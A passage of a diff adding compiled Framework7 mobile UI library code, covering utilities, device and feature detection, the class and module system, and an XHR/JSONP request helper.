catch$1(catchHandler) { + if (rejected) { + catchHandler.apply(void 0, rejectArgs); + } else { + promiseHandlers.catch = catchHandler; + } + return promise; + }, + }; + + function resolve() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + resolved = true; + if (promiseHandlers.then) { promiseHandlers.then.apply(promiseHandlers, args); } + else { resolveArgs = args; } + } + function reject() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + rejected = true; + if (promiseHandlers.catch) { promiseHandlers.catch.apply(promiseHandlers, args); } + else { rejectArgs = args; } + } + handler(resolve, reject); + + return promise; + }; + + var Utils = { + mdPreloaderContent: "\n \n \n \n \n \n \n \n \n \n ".trim(), + eventNameToColonCase: function eventNameToColonCase(eventName) { + var hasColon; + return eventName.split('').map(function (char, index) { + if (char.match(/[A-Z]/) && index !== 0 && !hasColon) { + hasColon = true; + return (":" + (char.toLowerCase())); + } + return char.toLowerCase(); + }).join(''); + }, + deleteProps: function deleteProps(obj) { + var object = obj; + Object.keys(object).forEach(function (key) { + try { + object[key] = null; + } catch (e) { + // no setter for object + } + try { + delete object[key]; + } catch (e) { + // something got wrong + } + }); + }, + bezier: function bezier$1() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + return bezier.apply(void 0, args); + }, + nextTick: function nextTick(callback, delay) { + if ( delay === void 0 ) delay = 0; + + return setTimeout(callback, delay); + }, + nextFrame: function nextFrame(callback) { + return Utils.requestAnimationFrame(callback); + }, + now: function now() { + return Date.now(); + }, + promise: function promise(handler) { + return win.Promise ? new Promise(handler) : createPromise(handler); + }, + requestAnimationFrame: function requestAnimationFrame(callback) { + if (win.requestAnimationFrame) { return win.requestAnimationFrame(callback); } + if (win.webkitRequestAnimationFrame) { return win.webkitRequestAnimationFrame(callback); } + return win.setTimeout(callback, 1000 / 60); + }, + cancelAnimationFrame: function cancelAnimationFrame(id) { + if (win.cancelAnimationFrame) { return win.cancelAnimationFrame(id); } + if (win.webkitCancelAnimationFrame) { return win.webkitCancelAnimationFrame(id); } + return win.clearTimeout(id); + }, + removeDiacritics: function removeDiacritics(str) { + return str.replace(/[^\u0000-\u007E]/g, function (a) { return diacriticsMap[a] || a; }); + }, + parseUrlQuery: function parseUrlQuery(url) { + var query = {}; + var urlToParse = url || win.location.href; + var i; + var params; + var param; + var length; + if (typeof urlToParse === 'string' && urlToParse.length) { + urlToParse = urlToParse.indexOf('?') > -1 ? urlToParse.replace(/\S*\?/, '') : ''; + params = urlToParse.split('&').filter(function (paramsPart) { return paramsPart !== ''; }); + length = params.length; + + for (i = 0; i < length; i += 1) { + param = params[i].replace(/#\S+/g, '').split('='); + query[decodeURIComponent(param[0])] = typeof param[1] === 'undefined' ? undefined : decodeURIComponent(param[1]) || ''; + } + } + return query; + }, + getTranslate: function getTranslate(el, axis) { + if ( axis === void 0 ) axis = 'x'; + + var matrix; + var curTransform; + var transformMatrix; + + var curStyle = win.getComputedStyle(el, null); + + if (win.WebKitCSSMatrix) { + curTransform = curStyle.transform || curStyle.webkitTransform; + if (curTransform.split(',').length > 6) { + curTransform = curTransform.split(', ').map(function (a) { return a.replace(',', '.'); }).join(', '); + } + // Some old versions of Webkit choke when 'none' is passed; pass + // empty string instead in this case + transformMatrix = new win.WebKitCSSMatrix(curTransform === 'none' ? '' : curTransform); + } else { + transformMatrix = curStyle.MozTransform || curStyle.OTransform || curStyle.MsTransform || curStyle.msTransform || curStyle.transform || curStyle.getPropertyValue('transform').replace('translate(', 'matrix(1, 0, 0, 1,'); + matrix = transformMatrix.toString().split(','); + } + + if (axis === 'x') { + // Latest Chrome and webkits Fix + if (win.WebKitCSSMatrix) { curTransform = transformMatrix.m41; } + // Crazy IE10 Matrix + else if (matrix.length === 16) { curTransform = parseFloat(matrix[12]); } + // Normal Browsers + else { curTransform = parseFloat(matrix[4]); } + } + if (axis === 'y') { + // Latest Chrome and webkits Fix + if (win.WebKitCSSMatrix) { curTransform = transformMatrix.m42; } + // Crazy IE10 Matrix + else if (matrix.length === 16) { curTransform = parseFloat(matrix[13]); } + // Normal Browsers + else { curTransform = parseFloat(matrix[5]); } + } + return curTransform || 0; + }, + serializeObject: function serializeObject(obj, parents) { + if ( parents === void 0 ) parents = []; + + if (typeof obj === 'string') { return obj; } + var resultArray = []; + var separator = '&'; + var newParents; + function varName(name) { + if (parents.length > 0) { + var parentParts = ''; + for (var j = 0; j < parents.length; j += 1) { + if (j === 0) { parentParts += parents[j]; } + else { parentParts += "[" + (encodeURIComponent(parents[j])) + "]"; } + } + return (parentParts + "[" + (encodeURIComponent(name)) + "]"); + } + return encodeURIComponent(name); + } + function varValue(value) { + return encodeURIComponent(value); + } + Object.keys(obj).forEach(function (prop) { + var toPush; + if (Array.isArray(obj[prop])) { + toPush = []; + for (var i = 0; i < obj[prop].length; i += 1) { + if (!Array.isArray(obj[prop][i]) && typeof obj[prop][i] === 'object') { + newParents = parents.slice(); + newParents.push(prop); + newParents.push(String(i)); + toPush.push(Utils.serializeObject(obj[prop][i], newParents)); + } else { + toPush.push(((varName(prop)) + "[]=" + (varValue(obj[prop][i])))); + } + } + if (toPush.length > 0) { resultArray.push(toPush.join(separator)); } + } else if (obj[prop] === null || obj[prop] === '') { + resultArray.push(((varName(prop)) + "=")); + } else if (typeof obj[prop] === 'object') { + // Object, convert to named array + newParents = parents.slice(); + newParents.push(prop); + toPush = Utils.serializeObject(obj[prop], newParents); + if (toPush !== '') { resultArray.push(toPush); } + } else if (typeof obj[prop] !== 'undefined' && obj[prop] !== '') { + // Should be string or plain value + resultArray.push(((varName(prop)) + "=" + (varValue(obj[prop])))); + } else if (obj[prop] === '') { resultArray.push(varName(prop)); } + }); + return resultArray.join(separator); + }, + isObject: function isObject(o) { + return typeof o === 'object' && o !== null && o.constructor && o.constructor === Object; + }, + merge: function merge() { + var args = [], len$1 = arguments.length; + while ( len$1-- ) args[ len$1 ] = arguments[ len$1 ]; + + var to = args[0]; + args.splice(0, 1); + var from = args; + + for (var i = 0; i < from.length; i += 1) { + var nextSource = args[i]; + if (nextSource !== undefined && nextSource !== null) { + var keysArray = Object.keys(Object(nextSource)); + for (var nextIndex = 0, len = keysArray.length; nextIndex < len; nextIndex += 1) { + var nextKey = keysArray[nextIndex]; + var desc = Object.getOwnPropertyDescriptor(nextSource, nextKey); + if (desc !== undefined && desc.enumerable) { + to[nextKey] = nextSource[nextKey]; + } + } + } + } + return to; + }, + extend: function extend() { + var args = [], len$1 = arguments.length; + while ( len$1-- ) args[ len$1 ] = arguments[ len$1 ]; + + var deep = true; + var to; + var from; + if (typeof args[0] === 'boolean') { + deep = args[0]; + to = args[1]; + args.splice(0, 2); + from = args; + } else { + to = args[0]; + args.splice(0, 1); + from = args; + } + for (var i = 0; i < from.length; i += 1) { + var nextSource = args[i]; + if (nextSource !== undefined && nextSource !== null) { + var keysArray = Object.keys(Object(nextSource)); + for (var nextIndex = 0, len = keysArray.length; nextIndex < len; nextIndex += 1) { + var nextKey = keysArray[nextIndex]; + var desc = Object.getOwnPropertyDescriptor(nextSource, nextKey); + if (desc !== undefined && desc.enumerable) { + if (!deep) { + to[nextKey] = nextSource[nextKey]; + } else if (Utils.isObject(to[nextKey]) && Utils.isObject(nextSource[nextKey])) { + Utils.extend(to[nextKey], nextSource[nextKey]); + } else if (!Utils.isObject(to[nextKey]) && Utils.isObject(nextSource[nextKey])) { + to[nextKey] = {}; + Utils.extend(to[nextKey], nextSource[nextKey]); + } else { + to[nextKey] = nextSource[nextKey]; + } + } + } + } + } + return to; + }, + }; + + var Device = (function Device() { + var platform = win.navigator.platform; + var ua = win.navigator.userAgent; + + var device = { + ios: false, + android: false, + androidChrome: false, + desktop: false, + windowsPhone: false, + iphone: false, + iphoneX: false, + ipod: false, + ipad: false, + edge: false, + ie: false, + macos: false, + windows: false, + cordova: !!(win.cordova || win.phonegap), + phonegap: !!(win.cordova || win.phonegap), + }; + + var windowsPhone = ua.match(/(Windows Phone);?[\s\/]+([\d.]+)?/); // eslint-disable-line + var android = ua.match(/(Android);?[\s\/]+([\d.]+)?/); // eslint-disable-line + var ipad = ua.match(/(iPad).*OS\s([\d_]+)/); + var ipod = ua.match(/(iPod)(.*OS\s([\d_]+))?/); + var iphone = !ipad && ua.match(/(iPhone\sOS|iOS)\s([\d_]+)/); + var iphoneX = iphone && win.screen.width === 375 && win.screen.height === 812; + var ie = ua.indexOf('MSIE ') >= 0 || ua.indexOf('Trident/') >= 0; + var edge = ua.indexOf('Edge/') >= 0; + var macos = platform === 'MacIntel'; + var windows = platform === 'Win32'; + + device.ie = ie; + device.edge = edge; + + // Windows + if (windowsPhone) { + device.os = 'windows'; + device.osVersion = windows[2]; + device.windowsPhone = true; + } + // Android + if (android && !windows) { + device.os = 'android'; + device.osVersion = android[2]; + device.android = true; + device.androidChrome = ua.toLowerCase().indexOf('chrome') >= 0; + } + if (ipad || iphone || ipod) { + device.os = 'ios'; + device.ios = true; + } + // iOS + if (iphone && !ipod) { + device.osVersion = iphone[2].replace(/_/g, '.'); + device.iphone = true; + device.iphoneX = iphoneX; + } + if (ipad) { + device.osVersion = ipad[2].replace(/_/g, '.'); + device.ipad = true; + } + if (ipod) { + device.osVersion = ipod[3] ? ipod[3].replace(/_/g, '.') : null; + device.iphone = true; + } + // iOS 8+ changed UA + if (device.ios && device.osVersion && ua.indexOf('Version/') >= 0) { + if (device.osVersion.split('.')[0] === '10') { + device.osVersion = ua.toLowerCase().split('version/')[1].split(' ')[0]; + } + } + + // Webview + device.webView = (iphone || ipad || ipod) && (ua.match(/.*AppleWebKit(?!.*Safari)/i) || win.navigator.standalone); + device.webview = device.webView; + + + // Desktop + device.desktop = !(device.os || device.android || device.webView); + if (device.desktop) { + device.macos = macos; + device.windows = windows; + } + + // Minimal UI + if (device.os && device.os === 'ios') { + var osVersionArr = device.osVersion.split('.'); + var metaViewport = doc.querySelector('meta[name="viewport"]'); + device.minimalUi = !device.webView + && (ipod || iphone) + && (osVersionArr[0] * 1 === 7 ? osVersionArr[1] * 1 >= 1 : osVersionArr[0] * 1 > 7) + && metaViewport && metaViewport.getAttribute('content').indexOf('minimal-ui') >= 0; + } + + // Check for status bar and fullscreen app mode + device.needsStatusbarOverlay = function needsStatusbarOverlay() { + if ((device.webView || (device.android && device.cordova)) && (win.innerWidth * win.innerHeight === win.screen.width * win.screen.height)) { + if (device.iphoneX && (win.orientation === 90 || win.orientation === -90)) { + return false; + } + return true; + } + return false; + }; + device.statusbar = device.needsStatusbarOverlay(); + + // Pixel Ratio + device.pixelRatio = win.devicePixelRatio || 1; + + // Export object + return device; + }()); + + var Framework7Class = function Framework7Class(params, parents) { + if ( params === void 0 ) params = {}; + if ( parents === void 0 ) parents = []; + + var self = this; + self.params = params; + + // Events + self.eventsParents = parents; + self.eventsListeners = {}; + + if (self.params && self.params.on) { + Object.keys(self.params.on).forEach(function (eventName) { + self.on(eventName, self.params.on[eventName]); + }); + } + }; + + var staticAccessors$1 = { components: { configurable: true } }; + + Framework7Class.prototype.on = function on (events, handler, priority) { + var self = this; + if (typeof handler !== 'function') { return self; } + var method = priority ? 'unshift' : 'push'; + events.split(' ').forEach(function (event) { + if (!self.eventsListeners[event]) { self.eventsListeners[event] = []; } + self.eventsListeners[event][method](handler); + }); + return self; + }; + + Framework7Class.prototype.once = function once (events, handler, priority) { + var self = this; + if (typeof handler !== 'function') { return self; } + function onceHandler() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + handler.apply(self, args); + self.off(events, onceHandler); + } + return self.on(events, onceHandler, priority); + }; + + Framework7Class.prototype.off = function off (events, handler) { + var self = this; + if (!self.eventsListeners) { return self; } + events.split(' ').forEach(function (event) { + if (typeof handler === 'undefined') { + self.eventsListeners[event] = []; + } else { + self.eventsListeners[event].forEach(function (eventHandler, index) { + if (eventHandler === handler) { + self.eventsListeners[event].splice(index, 1); + } + }); + } + }); + return self; + }; + + Framework7Class.prototype.emit = function emit () { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + var self = this; + if (!self.eventsListeners) { return self; } + var events; + var data; + var context; + var eventsParents; + if (typeof args[0] === 'string' || Array.isArray(args[0])) { + events = args[0]; + data = args.slice(1, args.length); + context = self; + eventsParents = self.eventsParents; + } else { + events = args[0].events; + data = args[0].data; + context = args[0].context || self; + eventsParents = args[0].local ? [] : args[0].parents || self.eventsParents; + } + var eventsArray = Array.isArray(events) ? events : events.split(' '); + var localEvents = eventsArray.map(function (eventName) { return eventName.replace('local::', ''); }); + var parentEvents = eventsArray.filter(function (eventName) { return eventName.indexOf('local::') < 0; }); + + localEvents.forEach(function (event) { + if (self.eventsListeners && self.eventsListeners[event]) { + var handlers = []; + self.eventsListeners[event].forEach(function (eventHandler) { + handlers.push(eventHandler); + }); + handlers.forEach(function (eventHandler) { + eventHandler.apply(context, data); + }); + } + }); + if (eventsParents && eventsParents.length > 0) { + eventsParents.forEach(function (eventsParent) { + eventsParent.emit.apply(eventsParent, [ parentEvents ].concat( data )); + }); + } + return self; + }; + + Framework7Class.prototype.useModulesParams = function useModulesParams (instanceParams) { + var instance = this; + if (!instance.modules) { return; } + Object.keys(instance.modules).forEach(function (moduleName) { + var module = instance.modules[moduleName]; + // Extend params + if (module.params) { + Utils.extend(instanceParams, module.params); + } + }); + }; + + Framework7Class.prototype.useModules = function useModules (modulesParams) { + if ( modulesParams === void 0 ) modulesParams = {}; + + var instance = this; + if (!instance.modules) { return; } + Object.keys(instance.modules).forEach(function (moduleName) { + var module = instance.modules[moduleName]; + var moduleParams = modulesParams[moduleName] || {}; + // Extend instance methods and props + if (module.instance) { + Object.keys(module.instance).forEach(function (modulePropName) { + var moduleProp = module.instance[modulePropName]; + if (typeof moduleProp === 'function') { + instance[modulePropName] = moduleProp.bind(instance); + } else { + instance[modulePropName] = moduleProp; + } + }); + } + // Add event listeners + if (module.on && instance.on) { + Object.keys(module.on).forEach(function (moduleEventName) { + instance.on(moduleEventName, module.on[moduleEventName]); + }); + } + + // Module create callback + if (module.create) { + module.create.bind(instance)(moduleParams); + } + }); + }; + + staticAccessors$1.components.set = function (components) { + var Class = this; + if (!Class.use) { return; } + Class.use(components); + }; + + Framework7Class.installModule = function installModule (module) { + var params = [], len = arguments.length - 1; + while ( len-- > 0 ) params[ len ] = arguments[ len + 1 ]; + + var Class = this; + if (!Class.prototype.modules) { Class.prototype.modules = {}; } + var name = module.name || (((Object.keys(Class.prototype.modules).length) + "_" + (Utils.now()))); + Class.prototype.modules[name] = module; + // Prototype + if (module.proto) { + Object.keys(module.proto).forEach(function (key) { + Class.prototype[key] = module.proto[key]; + }); + } + // Class + if (module.static) { + Object.keys(module.static).forEach(function (key) { + Class[key] = module.static[key]; + }); + } + // Callback + if (module.install) { + module.install.apply(Class, params); + } + return Class; + }; + + Framework7Class.use = function use (module) { + var params = [], len = arguments.length - 1; + while ( len-- > 0 ) params[ len ] = arguments[ len + 1 ]; + + var Class = this; + if (Array.isArray(module)) { + module.forEach(function (m) { return Class.installModule(m); }); + return Class; + } + return Class.installModule.apply(Class, [ module ].concat( params )); + }; + + Object.defineProperties( Framework7Class, staticAccessors$1 ); + + var Framework7 = (function (Framework7Class$$1) { + function Framework7(params) { + Framework7Class$$1.call(this, params); + + var passedParams = Utils.extend({}, params); + + // App Instance + var app = this; + + // Default + var defaults = { + version: '1.0.0', + id: 'io.framework7.testapp', + root: 'body', + theme: 'auto', + language: win.navigator.language, + routes: [], + name: 'Framework7', + initOnDeviceReady: true, + init: true, + }; + + // Extend defaults with modules params + app.useModulesParams(defaults); + + // Extend defaults with passed params + app.params = Utils.extend(defaults, params); + + var $rootEl = $$1(app.params.root); + + Utils.extend(app, { + // App Id + id: app.params.id, + // App Name + name: app.params.name, + // App version + version: app.params.version, + // Routes + routes: app.params.routes, + // Lang + language: app.params.language, + // Root + root: $rootEl, + // RTL + rtl: $rootEl.css('direction') === 'rtl', + // Theme + theme: (function getTheme() { + if (app.params.theme === 'auto') { + return Device.ios ? 'ios' : 'md'; + } + return app.params.theme; + }()), + // Initially passed parameters + passedParams: passedParams, + }); + + // Save Root + if (app.root && app.root[0]) { + app.root[0].f7 = app; + } + + // Install Modules + app.useModules(); + + // Init + if (app.params.init) { + if (Device.cordova && app.params.initOnDeviceReady) { + $$1(doc).on('deviceready', function () { + app.init(); + }); + } else { + app.init(); + } + } + // Return app instance + return app; + } + + if ( Framework7Class$$1 ) Framework7.__proto__ = Framework7Class$$1; + Framework7.prototype = Object.create( Framework7Class$$1 && Framework7Class$$1.prototype ); + Framework7.prototype.constructor = Framework7; + + var prototypeAccessors = { $: { configurable: true },t7: { configurable: true } }; + var staticAccessors = { Dom7: { configurable: true },$: { configurable: true },Template7: { configurable: true },Class: { configurable: true } }; + + Framework7.prototype.init = function init () { + var app = this; + if (app.initialized) { return app; } + + app.root.addClass('framework7-initializing'); + + // RTL attr + if (app.rtl) { + $$1('html').attr('dir', 'rtl'); + } + + // Root class + app.root.addClass('framework7-root'); + + // Theme class + $$1('html').removeClass('ios md').addClass(app.theme); + + // Data + app.data = {}; + if (app.params.data && typeof app.params.data === 'function') { + Utils.extend(app.data, app.params.data.bind(app)()); + } else if (app.params.data) { + Utils.extend(app.data, app.params.data); + } + // Methods + app.methods = {}; + if (app.params.methods) { + Object.keys(app.params.methods).forEach(function (methodName) { + if (typeof app.params.methods[methodName] === 'function') { + app.methods[methodName] = app.params.methods[methodName].bind(app); + } else { + app.methods[methodName] = app.params.methods[methodName]; + } + }); + } + // Init class + Utils.nextFrame(function () { + app.root.removeClass('framework7-initializing'); + }); + // Emit, init other modules + app.initialized = true; + app.emit('init'); + + return app; + }; + // eslint-disable-next-line + prototypeAccessors.$.get = function () { + return $$1; + }; + // eslint-disable-next-line + prototypeAccessors.t7.get = function () { + return Template7; + }; + + staticAccessors.Dom7.get = function () { + return $$1; + }; + + staticAccessors.$.get = function () { + return $$1; + }; + + staticAccessors.Template7.get = function () { + return Template7; + }; + + staticAccessors.Class.get = function () { + return Framework7Class$$1; + }; + + Object.defineProperties( Framework7.prototype, prototypeAccessors ); + Object.defineProperties( Framework7, staticAccessors ); + + return Framework7; + }(Framework7Class)); + + var DeviceModule = { + name: 'device', + proto: { + device: Device, + }, + static: { + device: Device, + }, + on: { + init: function init() { + var classNames = []; + var html = doc.querySelector('html'); + if (!html) { return; } + // Pixel Ratio + classNames.push(("device-pixel-ratio-" + (Math.floor(Device.pixelRatio)))); + if (Device.pixelRatio >= 2) { + classNames.push('device-retina'); + } + // OS classes + if (Device.os) { + classNames.push( + ("device-" + (Device.os)), + ("device-" + (Device.os) + "-" + (Device.osVersion.split('.')[0])), + ("device-" + (Device.os) + "-" + (Device.osVersion.replace(/\./g, '-'))) + ); + if (Device.os === 'ios') { + var major = parseInt(Device.osVersion.split('.')[0], 10); + for (var i = major - 1; i >= 6; i -= 1) { + classNames.push(("device-ios-gt-" + i)); + } + if (Device.iphoneX) { + classNames.push('device-iphone-x'); + } + } + } else if (Device.desktop) { + classNames.push('device-desktop'); + } + if (Device.cordova || Device.phonegap) { + classNames.push('device-cordova'); + } + + // Add html classes + classNames.forEach(function (className) { + html.classList.add(className); + }); + }, + }, + }; + + var Support = (function Support() { + var positionSticky = (function supportPositionSticky() { + var support = false; + var div = doc.createElement('div'); + ('sticky -webkit-sticky -moz-sticky').split(' ').forEach(function (prop) { + if (support) { return; } + div.style.position = prop; + if (div.style.position === prop) { + support = true; + } + }); + return support; + }()); + + var testDiv = doc.createElement('div'); + + return { + positionSticky: positionSticky, + touch: (function checkTouch() { + return !!(('ontouchstart' in win) || (win.DocumentTouch && doc instanceof win.DocumentTouch)); + }()), + + pointerEvents: !!(win.navigator.pointerEnabled || win.PointerEvent), + prefixedPointerEvents: !!win.navigator.msPointerEnabled, + + transition: (function checkTransition() { + var style = testDiv.style; + return ('transition' in style || 'webkitTransition' in style || 'MozTransition' in style); + }()), + transforms3d: (win.Modernizr && win.Modernizr.csstransforms3d === true) || (function checkTransforms3d() { + var style = testDiv.style; + return ('webkitPerspective' in style || 'MozPerspective' in style || 'OPerspective' in style || 'MsPerspective' in style || 'perspective' in style); + }()), + + flexbox: (function checkFlexbox() { + var div = doc.createElement('div').style; + var styles = ('alignItems webkitAlignItems webkitBoxAlign msFlexAlign mozBoxAlign webkitFlexDirection msFlexDirection mozBoxDirection mozBoxOrient webkitBoxDirection webkitBoxOrient').split(' '); + for (var i = 0; i < styles.length; i += 1) { + if (styles[i] in div) { return true; } + } + return false; + }()), + + observer: (function checkObserver() { + return ('MutationObserver' in win || 'WebkitMutationObserver' in win); + }()), + + passiveListener: (function checkPassiveListener() { + var supportsPassive = false; + try { + var opts = Object.defineProperty({}, 'passive', { + // eslint-disable-next-line + get: function get() { + supportsPassive = true; + }, + }); + win.addEventListener('testPassiveListener', null, opts); + } catch (e) { + // No support + } + return supportsPassive; + }()), + + gestures: (function checkGestures() { + return 'ongesturestart' in win; + }()), + }; + }()); + + var SupportModule = { + name: 'support', + proto: { + support: Support, + }, + static: { + support: Support, + }, + on: { + init: function init() { + var html = doc.querySelector('html'); + if (!html) { return; } + var classNames = []; + if (Support.positionSticky) { + classNames.push('support-position-sticky'); + } + // Add html classes + classNames.forEach(function (className) { + html.classList.add(className); + }); + }, + }, + }; + + var UtilsModule = { + name: 'utils', + proto: { + utils: Utils, + }, + static: { + utils: Utils, + }, + }; + + var ResizeModule = { + name: 'resize', + instance: { + getSize: function getSize() { + var app = this; + if (!app.root[0]) { return { width: 0, height: 0, left: 0, top: 0 }; } + var offset = app.root.offset(); + var ref = [app.root[0].offsetWidth, app.root[0].offsetHeight, offset.left, offset.top]; + var width = ref[0]; + var height = ref[1]; + var left = ref[2]; + var top = ref[3]; + app.width = width; + app.height = height; + app.left = left; + app.top = top; + return { width: width, height: height, left: left, top: top }; + }, + }, + on: { + init: function init() { + var app = this; + + // Get Size + app.getSize(); + + // Emit resize + win.addEventListener('resize', function () { + app.emit('resize'); + }, false); + + // Emit orientationchange + win.addEventListener('orientationchange', function () { + app.emit('orientationchange'); + }); + }, + orientationchange: function orientationchange() { + var app = this; + if (app.device && app.device.minimalUi) { + if (win.orientation === 90 || win.orientation === -90) { + doc.body.scrollTop = 0; + } + } + // Fix iPad weird body scroll + if (app.device.ipad) { + doc.body.scrollLeft = 0; + setTimeout(function () { + doc.body.scrollLeft = 0; + }, 0); + } + }, + resize: function resize() { + var app = this; + app.getSize(); + }, + }, + }; + + var globals = {}; + var jsonpRequests = 0; + + function Request(requestOptions) { + var globalsNoCallbacks = Utils.extend({}, globals); + ('beforeCreate beforeOpen beforeSend error complete success statusCode').split(' ').forEach(function (callbackName) { + delete globalsNoCallbacks[callbackName]; + }); + var defaults = Utils.extend({ + url: win.location.toString(), + method: 'GET', + data: false, + async: true, + cache: true, + user: '', + password: '', + headers: {}, + xhrFields: {}, + statusCode: {}, + processData: true, + dataType: 'text', + contentType: 'application/x-www-form-urlencoded', + timeout: 0, + }, globalsNoCallbacks); + + var options = Utils.extend({}, defaults, requestOptions); + var proceedRequest; + + // Function to run XHR callbacks and events + function fireCallback(callbackName) { + var data = [], len = arguments.length - 1; + while ( len-- > 0 ) data[ len ] = arguments[ len + 1 ]; + + /* + Callbacks: + beforeCreate (options), + beforeOpen (xhr, options), + beforeSend (xhr, options), + error (xhr, status), + complete (xhr, stautus), + success (response, status, xhr), + statusCode () + */ + var globalCallbackValue; + var optionCallbackValue; + if (globals[callbackName]) { + globalCallbackValue = globals[callbackName].apply(globals, data); + } + if (options[callbackName]) { + optionCallbackValue = options[callbackName].apply(options, data); + } + if (typeof globalCallbackValue !== 'boolean') { globalCallbackValue = true; } + if (typeof optionCallbackValue !== 'boolean') { optionCallbackValue = true; } + return (globalCallbackValue && optionCallbackValue); + } + + // Before create callback + proceedRequest = fireCallback('beforeCreate', options); + if (proceedRequest === false) { return undefined; } + + // For jQuery guys + if (options.type) { options.method = options.type; } + + // Parameters Prefix + var paramsPrefix = options.url.indexOf('?') >= 0 ? '&' : '?'; + + // UC method + var method = options.method.toUpperCase(); + + // Data to modify GET URL + if ((method === 'GET' || method === 'HEAD' || method === 'OPTIONS' || method === 'DELETE') && options.data) { + var stringData; + if (typeof options.data === 'string') { + // Should be key=value string + if (options.data.indexOf('?') >= 0) { stringData = options.data.split('?')[1]; } + else { stringData = options.data; } + } else { + // Should be key=value object + stringData = Utils.serializeObject(options.data); + } + if (stringData.length) { + options.url += paramsPrefix + stringData; + if (paramsPrefix === '?') { paramsPrefix = '&'; } + } + } + + // JSONP + if (options.dataType === 'json' && options.url.indexOf('callback=') >= 0) { + var callbackName = "f7jsonp_" + (Date.now() + ((jsonpRequests += 1))); + var abortTimeout; + var callbackSplit = options.url.split('callback='); + var requestUrl = (callbackSplit[0]) + "callback=" + callbackName; + if (callbackSplit[1].indexOf('&') >= 0) { + var addVars = callbackSplit[1].split('&').filter(function (el) { return el.indexOf('=') > 0; }).join('&'); + if (addVars.length > 0) { requestUrl += "&" + addVars; } + } + + // Create script + var script = doc.createElement('script'); + script.type = 'text/javascript'; + script.onerror = function onerror() { + clearTimeout(abortTimeout); + fireCallback('error', null, 'scripterror'); + fireCallback('complete', null, 'scripterror'); + }; + script.src = requestUrl; + + // Handler + win[callbackName] = function jsonpCallback(data) { + clearTimeout(abortTimeout); + fireCallback('success', data); + script.parentNode.removeChild(script); + script = null; + delete win[callbackName]; + }; + doc.querySelector('head').appendChild(script); + + if (options.timeout > 0) { + abortTimeout = setTimeout(function () { + script.parentNode.removeChild(script); + script = null; + fireCallback('error', null, 'timeout'); + }, options.timeout); + } + + return undefined; + } + + // Cache for GET/HEAD requests + if (method === 'GET' || method === 'HEAD' || method === 'OPTIONS' || method === 'DELETE') { + if (options.cache === false) { + options.url += paramsPrefix + "_nocache" + (Date.now()); + } + } + + // Create XHR + var xhr = new XMLHttpRequest(); + + // Save Request URL + xhr.requestUrl = options.url; + xhr.requestParameters = options; + + // Before open callback + proceedRequest = fireCallback('beforeOpen', xhr, options); + if (proceedRequest === false) { return xhr; } + + // Open XHR + xhr.open(method, options.url, options.async, options.user, options.password); + + // Create POST Data + var postData = null; + + if ((method === 'POST' || method === 'PUT' || method === 'PATCH') && options.data) { + if (options.processData) { + var postDataInstances = [ArrayBuffer, Blob, Document, FormData]; + // Post Data + if (postDataInstances.indexOf(options.data.constructor) >= 0) { + postData = options.data; + } else { + // POST Headers + var boundary = "---------------------------" + (Date.now().toString(16)); + + if (options.contentType === 'multipart/form-data') { + xhr.setRequestHeader('Content-Type', ("multipart/form-data; boundary=" + boundary)); + } else { + xhr.setRequestHeader('Content-Type', options.contentType); + } + postData = ''; + var data$1 = Utils.serializeObject(options.data); + if (options.contentType === 'multipart/form-data') { + data$1 = data$1.split('&'); + var newData = []; + for (var i = 0; i < data$1.length; i += 1) { + newData.push(("Content-Disposition: form-data; name=\"" + (data$1[i].split('=')[0]) + "\"\r\n\r\n" + (data$1[i].split('=')[1]) + "\r\n")); + } + postData = "--" + boundary + "\r\n" + (newData.join(("--" + boundary + "\r\n"))) + "--" + boundary + "--\r\n"; + } else { + postData = data$1; + } + } + } else { + postData = options.data; + xhr.setRequestHeader('Content-Type', options.contentType); + } + } + + // Additional headers + if (options.headers) { + Object.keys(options.headers).forEach(function (headerName) { + xhr.setRequestHeader(headerName, options.headers[headerName]); + }); + } + + // Check for crossDomain + if (typeof options.crossDomain === 'undefined') { + // eslint-disable-next-line + options.crossDomain = /^([\w-]+:)?\/\/([^\/]+)/.test(options.url) && RegExp.$2 !== win.location.host; + } + + if (!options.crossDomain) { + xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); + } + + if (options.xhrFields) { + Utils.extend(xhr, options.xhrFields); + } + + var xhrTimeout; + + // Handle XHR + xhr.onload = function onload() { + if (xhrTimeout) { clearTimeout(xhrTimeout); } + if ((xhr.status >= 200 && xhr.status < 300) || xhr.status === 0) { + var responseData; + if (options.dataType === 'json') { + var parseError; + try { + responseData = JSON.parse(xhr.responseText); + } catch (err) { + parseError = true; + } + if (!parseError) { + fireCallback('success', responseData, xhr.status, xhr); + } else { + fireCallback('error', xhr, 'parseerror'); + } + } else { + responseData = xhr.responseType === 'text' || xhr.responseType === '' ? xhr.responseText : xhr.response; + fireCallback('success', responseData, xhr.status, xhr); + } + } else { + fireCallback('error', xhr, xhr.status); + } + if (options.statusCode) { + if (globals.statusCode && globals.statusCode[xhr.status]) { globals.statusCode[xhr.status](xhr); } + if (options.statusCode[xhr.status]) { options.statusCode[xhr.status](xhr); } + } + fireCallback('complete', xhr, xhr.status); + }; + + xhr.onerror = function onerror() { + if (xhrTimeout) { clearTimeout(xhrTimeout); } + fireCallback('error', xhr, xhr.status); + fireCallback('complete', xhr, 'error'); + }; + + // Timeout + if (options.timeout > 0) { + xhr.onabort = function onabort() { + if (xhrTimeout) { clearTimeout(xhrTimeout); } + }; + xhrTimeout = setTimeout(function () { + xhr.abort(); + fireCallback('error', xhr, 'timeout'); + fireCallback('complete', xhr, 'timeout'); + }, options.timeout); + } + + // Ajax start callback + proceedRequest = fireCallback('beforeSend', xhr, options); + if (proceedRequest === false) { return xhr; } + + // Send XHR + xhr.send(postData); + + // Return XHR object + return xhr; + } + function RequestShortcut(method) { + var assign, assign$1; + + var args = [], len = arguments.length - 1; + while ( len-- > 0 ) args[ len ] = arguments[ len + 1 ]; + var ref = []; + var url = ref[0]; + var data = ref[1]; + var success = ref[2]; + var error = ref[3]; + var dataType = ref[4]; + if (typeof args[1] === 'function') { + (assign = args, url = assign[0], success = assign[1], error = assign[2], dataType = assign[3]); + } else { + (assign$1 = args, url = assign$1[0], data = assign$1[1], success = assign$1[2], 